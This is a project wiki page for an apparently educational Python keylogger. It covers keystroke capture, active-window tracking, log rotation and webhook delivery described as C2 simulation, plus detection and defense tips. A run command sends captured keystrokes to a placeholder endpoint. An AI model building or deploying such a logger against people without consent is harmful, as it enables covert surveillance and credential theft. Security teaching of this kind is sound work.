2 Keylogger
CarterPerez-dev edited this page 2026-02-11 04:56:38 -05:00

Keylogger

Modern Python 3.13+ educational keylogger for security research and learning.

Overview

A cross-platform keylogger demonstrating keyboard event capture techniques. Built for educational purposes to understand how keyloggers work, how to detect them, and how to defend against them.

Status: Complete | Difficulty: Beginner

This tool is for educational and authorized security testing only. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal.

Legitimate use cases:

  • Security research
  • Penetration testing (with authorization)
  • Parental monitoring (with disclosure)
  • Personal productivity tracking
  • Digital forensics training

Tech Stack

Technology Version Purpose
Python 3.13+ Modern syntax, native type hints
pynput 1.8 Keyboard event hooking
requests 2.32 Webhook delivery

Platform-Specific

Platform Dependency Purpose
Windows pywin32, psutil Window tracking via Win32 API
macOS pyobjc-framework-Cocoa NSWorkspace API
Linux xdotool Window tracking CLI

Features

Core Functionality

  • Real-time keyboard event capture
  • Timestamped logs (microsecond precision)
  • Active window tracking
  • Special key detection (F-keys, modifiers, control chars)
  • Human-readable key conversion

Advanced Features

  • Automatic log rotation (configurable size, default 5MB)
  • Toggle control (F9 to pause/resume)
  • Remote delivery via webhook (C2 simulation)
  • Cross-platform support
  • Thread-safe operations

Architecture

┌─────────────────────────────────────────────────────────┐
│                      Keylogger                           │
│                   (Main Orchestrator)                    │
│  ┌─────────────────────────────────────────────────┐    │
│  │              KeyloggerConfig                     │    │
│  │  log_file | webhook_url | max_size | toggle_key │    │
│  └─────────────────────────────────────────────────┘    │
└────────────────────────┬────────────────────────────────┘
                         │
         ┌───────────────┼───────────────┐
         │               │               │
         ▼               ▼               ▼
┌─────────────┐  ┌─────────────┐  ┌─────────────────┐
│ LogManager  │  │ Webhook     │  │ WindowTracker   │
│             │  │ Delivery    │  │                 │
│ - write()   │  │             │  │ - get_active()  │
│ - rotate()  │  │ - send()    │  │ - platform      │
│ - flush()   │  │ - batch()   │  │   detection     │
└─────────────┘  └─────────────┘  └─────────────────┘
         ▲               ▲               ▲
         │               │               │
         └───────────────┼───────────────┘
                         │
┌────────────────────────▼────────────────────────────────┐
│                    pynput Listener                       │
│              (OS-level keyboard hook)                    │
│                                                          │
│   on_press(key) ─────> KeyEvent ─────> Processing       │
│                                                          │
│   KeyEvent:                                              │
│   - key: str                                             │
│   - timestamp: datetime                                  │
│   - key_type: KeyType                                    │
│   - window: str | None                                   │
└─────────────────────────────────────────────────────────┘

Quick Start

cd PROJECTS/beginner/keylogger

# Install dependencies
uv sync

# Run keylogger
uv run python src/keylogger.py

# With webhook
uv run python src/keylogger.py --webhook https://your-endpoint.com/logs

# Custom log file
uv run python src/keylogger.py --log-file /path/to/keylog.txt

Configuration

from keylogger import KeyloggerConfig, Keylogger

config = KeyloggerConfig(
    log_file="keylog.txt",      # Output file
    webhook_url=None,            # Remote delivery endpoint
    max_log_size=5_000_000,      # 5MB before rotation
    toggle_key="f9",             # Pause/resume key
    batch_size=100,              # Webhook batch size
    include_window=True          # Track active window
)

keylogger = Keylogger(config)
keylogger.start()

Output Format

[2024-01-15 14:32:15.123456] [Chrome - GitHub] h
[2024-01-15 14:32:15.234567] [Chrome - GitHub] e
[2024-01-15 14:32:15.345678] [Chrome - GitHub] l
[2024-01-15 14:32:15.456789] [Chrome - GitHub] l
[2024-01-15 14:32:15.567890] [Chrome - GitHub] o
[2024-01-15 14:32:15.678901] [Chrome - GitHub] [SPACE]
[2024-01-15 14:32:16.789012] [Terminal] [CTRL]
[2024-01-15 14:32:16.890123] [Terminal] c

Key Types

Type Examples
Regular a-z, 0-9, symbols
Special [SPACE], [ENTER], [TAB], [BACKSPACE]
Function [F1]-[F12]
Modifier [CTRL], [ALT], [SHIFT], [CMD]
Control [ESC], [DELETE], [INSERT], [HOME], [END]

Detection Methods

Understanding how keyloggers are detected helps in both offense and defense:

Process Monitoring

  • Unusual processes with keyboard hooks
  • High-privilege processes accessing input devices
  • Processes with no visible window

Network Analysis

  • Unexpected outbound connections
  • Data exfiltration patterns
  • Webhook/C2 traffic

File System

  • New files in temp/startup directories
  • Log files with keystroke patterns
  • Suspicious file access patterns

Behavioral

  • Input lag or stuttering
  • Unexpected CPU usage
  • EDR/antivirus alerts

Defense Strategies

For Users

  • Use virtual keyboards for sensitive input
  • Monitor running processes
  • Use anti-keylogger software
  • Keep systems updated

For Organizations

  • Application whitelisting
  • Endpoint Detection & Response (EDR)
  • Network segmentation
  • User awareness training
  • Startup item auditing

Development

# Run tests
python -m pytest test_keylogger.py -v

# Type checking
mypy keylogger.py

# Linting
ruff check keylogger.py
pylint keylogger.py

# Format
ruff format keylogger.py

Code Highlights

Modern Python 3.13+ features:

# Native type hints (no typing import)
def process_key(key: str | None) -> KeyEvent:
    ...

# Match statements
match key_type:
    case KeyType.REGULAR:
        return key.char
    case KeyType.SPECIAL:
        return f"[{key.name.upper()}]"
    case _:
        return "[UNKNOWN]"

# Dataclasses
@dataclass
class KeyEvent:
    key: str
    timestamp: datetime
    key_type: KeyType
    window: str | None = None

References

Source Code

View on GitHub